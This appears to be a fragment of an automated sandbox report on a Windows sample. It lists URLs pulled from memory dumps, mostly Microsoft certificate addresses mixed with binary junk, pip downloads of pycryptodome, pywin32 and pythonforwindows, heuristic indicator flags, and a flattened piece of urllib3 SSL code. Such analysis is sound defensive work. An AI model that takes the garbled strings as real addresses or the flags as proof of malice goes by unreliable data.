"http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003696.00000001.199884.B4590000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003696.00000001.199884.B4590000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00003696.00000001.199884.B4950000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00003696.00000001.199884.B4950000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00003696.00000001.199884.B4950000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00003696.00000001.199884.B4950000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportoftware\policies\microsoft\windows" - Source: "00000000-00003696.00000001.199884.CE940000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn" - Source: "00000000-00003696.00000001.199884.D24B3000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004788.00000000.201161.7C580000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00004788.00000000.201161.7C720000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004788.00000000.201161.7C720000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00004788.00000000.201161.7C720000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00004788.00000000.201161.7C720000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00004788.00000000.201161.7E360000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00004788.00000000.201161.7E360000.00000002.mdmp") Found URL "http://www.microsoft.com0q?*ao" - Source: "00000000-00004788.00000000.201161.7E360000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004788.00000000.201161.7E360000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0au]8&l*" - Source: "00000000-00004788.00000000.201161.7E360000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00004788.00000000.201161.7E360000.00000002.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004788.00000000.201161.7E8E0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0verisign" - Source: "00000000-00004788.00000000.201161.7E8E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004788.00000000.201161.7E8E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00004788.00000000.201161.7E8E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004788.00000000.201161.7E8E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004788.00000000.201161.7E8E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004788.00000000.201161.7E8E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuhhsmookh1.3.36.3.3.2.8.1.1.12ecdp1.3.36.3.3.2.8.1.1.14@eckp1.2.840.10045.3.1.1@eckp1.3.36.3.3.2.8.1.1.10@eckp@1.2.840.10045.3.1.7ecdp1.3.36.3.3.2.8.1.1.12@eckp1.3.36.3.3.2.8.1.1.14ecdp1.3.36.3.3.2.8.1.1.11ecdphttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004788.00000001.201237.7C580000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00004788.00000001.201237.7C720000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004788.00000001.201237.7C720000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00004788.00000001.201237.7C720000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/as/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00004788.00000001.201237.7C720000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004788.00000001.201237.7E8E0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0verisign" - Source: "00000000-00004788.00000001.201237.7E8E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004788.00000001.201237.7E8E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00004788.00000001.201237.7E8E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004788.00000001.201237.7E8E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004788.00000001.201237.7E8E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004788.00000001.201237.7E8E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuhhsmookh1.3.36.3.3.2.8.1.1.12ecdp1.3.36.3.3.2.8.1.1.14@eckp1.2.840.10045.3.1.1@eckp1.3.36.3.3.2.8.1.1.10@eckp@1.2.840.10045.3.1.7ecdp1.3.36.3.3.2.8.1.1.12@eckp1.3.36.3.3.2.8.1.1.14ecdp1.3.36.3.3.2.8.1.1.11ecdpmnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005884.00000000.195832.F6520000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lcrosoft" - Source: "00000000-00005884.00000000.195832.F6520000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005884.00000000.195832.F6520000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00005884.00000000.195832.F6520000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00005884.00000000.195832.F6650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005884.00000000.195832.F6650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00005884.00000000.195832.F6650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005884.00000000.195832.F6650000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00005884.00000000.195832.F67C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00005884.00000000.195832.F67C2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00005884.00000000.195832.F67C2000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00005884.00000000.195832.F67C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005884.00000000.195832.F67C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00005884.00000000.195832.F67C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005884.00000000.195832.F67C2000.00000004.mdmp") Found URL "http://www.microsoft.comedmond1microsoft" - Source: "00000000-00005884.00000000.195832.F67C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00005884.00000001.195902.F4190000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005884.00000001.195902.F6520000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00005884.00000001.195902.F6520000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005884.00000001.195902.F6520000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00005884.00000001.195902.F6520000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lk;j0verisign," - Source: "00000000-00005884.00000001.195902.F6520000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005884.00000001.195902.F6520000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lcrosoft" - Source: "00000000-00005884.00000001.195902.F6520000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005884.00000001.195902.F6520000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00005884.00000001.195902.F6520000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00005884.00000001.195902.F6650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005884.00000001.195902.F6650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00005884.00000001.195902.F6650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005884.00000001.195902.F6650000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00005884.00000001.195902.F6809000.00000004.mdmp") Found URL "http://www.w3.org/1999/02/22-rdf-syntax-ns" - Source: "00000000-00005884.00000001.195902.F6809000.00000004.mdmp") Found URL "https://github.com/dotnet/runtime!this" - Source: "00000000-00007912.00000002.198897.80850000.00000002.mdmp") Found URL "https://aka.ms/binaryformatter" - Source: "00000000-00007912.00000002.198897.80850000.00000002.mdmp") Found URL "https://github.com/dotnet/runtimewindows" - Source: "00000000-00007912.00000002.198897.80850000.00000002.mdmp") Found URL "https://aka.ms/dotnet/downloadlearn" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "https://aka.ms/dotnet/infoglobal.json" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "https://aka.ms/dotnet/app-launch-failedto" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "https://aka.ms/dotnet/download%s%sinstall" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "https://aka.ms/dotnet/sdk-not-foundprobing" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "https://aka.ms/dotnet-core-applaunch?" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "https://aka.ms/dotnet-core-applaunch?comctl32.dllwindowsshell.manifestcreateactctxw" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "https://aka.ms/dotnet/app-launch-faileddownload" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "https://aka.ms/dotnet/app-launch-failedwould" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://dictionaryperceptionrevolutionfoundationpx;height:successfulsupportersmillenniumhis" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://mathematicsmargin-top:eventually" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://descriptionrelatively" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://applicationslink" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://navigation" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://px;" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "https://www.world" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://www.years" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://interested" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://familiar" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "https://was" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "https://ain" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://whether" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://interpreted" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://);" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://addeventlistenerresponsible" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://.jpg" - Source: "00000000-00007912.00000002.198897.E209D000.00000002.mdmp") Found URL "http://http://www.microsoft.com/pki/certs/miccodsigpca_2010-07-06.crt0vrsvtnz" - Source: "00000000-00007912.00000002.198897.E2273000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@wo)" - Source: "00000000-00007912.00000002.198897.E2273000.00000002.mdmp") Found URL "http://www.microsoft.com0*_^e];http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00007912.00000002.198897.E2273000.00000002.mdmp") Found URL "https://github.com/dotnet/runtime!this" - Source: "00000000-00007912.00000003.201323.80830000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=2233907" - Source: "00000000-00007912.00000003.201323.80830000.00000002.mdmp") Found URL "https://github.com/dotnet/runtimewindows" - Source: "00000000-00007912.00000003.201323.80830000.00000002.mdmp") Found URL "https://github.com/dotnet/runtime" - Source: "00000000-00007912.00000003.201323.80870000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007912.00000003.201323.E0230000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0wg" - Source: "00000000-00007912.00000003.201323.E0230000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00007912.00000003.201323.E0230000.00000002.mdmp")63:T964,GET /simple/pycryptodome/ HTTP/1.1 Host: pypi.org User-Agent: pip/21.2.3 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.10.0"} "installer":{"name":"pip" "version":"21.2.3"} "openssl_version":"OpenSSL 1.1.1l 24 Aug 2021" "python":"3.10.0" "setuptools_version":"57.4.0" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: gzip deflate Accept: text/html Connection: keep-alive Cache-Control: max-age=0 GET /simple/pywin32/ HTTP/1.1 Host: pypi.org User-Agent: pip/21.2.3 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.10.0"} "installer":{"name":"pip" "version":"21.2.3"} "openssl_version":"OpenSSL 1.1.1l 24 Aug 2021" "python":"3.10.0" "setuptools_version":"57.4.0" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: gzip deflate Accept: text/html Connection: keep-alive Cache-Control: max-age=0 GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/21.2.3 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.10.0"} "installer":{"name":"pip" "version":"21.2.3"} "openssl_version":"OpenSSL 1.1.1l 24 Aug 2021" "python":"3.10.0" "setuptools_version":"57.4.0" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/21.2.3 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.10.0"} "installer":{"name":"pip" "version":"21.2.3"} "openssl_version":"OpenSSL 1.1.1l 24 Aug 2021" "python":"3.10.0" "setuptools_version":"57.4.0" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/21.2.3 {"ci":null "cpu":"AMD64" "implementation":{"name":"CPython" "version":"3.10.0"} "installer":{"name":"pip" "version":"21.2.3"} "openssl_version":"OpenSSL 1.1.1l 24 Aug 2021" "python":"3.10.0" "setuptools_version":"57.4.0" "system":{"name":"Windows" "release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive 64:Tdbe,Contains base62 string in header "7afc96d041d982c27bc2df6f853d43f01" in header "GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "fd273e3d39d04be3647ddeb533d/pywin" in header "GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "bf4a9a401ea2cd867aa4522a97ffa2f5b" in header "GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "60a38c3249887f77f0f997d7743/pytho" in header "GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "e97a1b8294db0daaa87012c24a7bb7141" in header "GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "47c7ade7656973fd6c736b484ff/pycry" in header "GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive"65:Tb68,Observed string: "pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/pycryptodome/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/pywin32/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.")66:T3eb8,Observed string: "from __future__ import absolute_importimport hmacimport osimport sysimport warningsfrom binascii import hexlify, unhexlifyfrom hashlib import md5, sha1, sha256from ..exceptions import ( InsecurePlatformWarning, ProxySchemeUnsupported, SNIMissingWarning, SSLError,from ..packages import sixfrom .url import BRACELESS_IPV6_ADDRZ_RE, IPV4_RESSLContext = NoneSSLTransport = NoneHAS_SNI = FalseIS_PYOPENSSL = FalseIS_SECURETRANSPORT = FalseALPN_PROTOCOLS = ["http/1.1"]# Maps the length of a digest to a possible hash function producing this digestHASHFUNC_MAP = {32: md5, 40: sha1, 64: sha256}def _const_compare_digest_backport(a, b): """ Compare two digests of equal length in constant time. The digests must be of type str/bytes. Returns True if the digests match and False otherwise. """ result = abs(len(a) - len(b)) for left, right in zip(bytearray(a), bytearray(b)): result |= left ^ right return result == 0_const_compare_digest = getattr(hmac, "compare_digest", _const_compare_digest_backport)try: # Test for SSL features import ssl from ssl import CERT_REQUIRED, wrap_socketexcept ImportError: passtry: from ssl import HAS_SNI # Has SNI?except ImportError: passtry: from .ssltransport import SSLTransportexcept ImportError: passtry: # Platform-specific: Python 3.6 from ssl import PROTOCOL_TLS PROTOCOL_SSLv23 = PROTOCOL_TLSexcept ImportError: try: from ssl import PROTOCOL_SSLv23 as PROTOCOL_TLS PROTOCOL_SSLv23 = PROTOCOL_TLS except ImportError: PROTOCOL_SSLv23 = PROTOCOL_TLS = 2try: from ssl import PROTOCOL_TLS_CLIENTexcept ImportError: PROTOCOL_TLS_CLIENT = 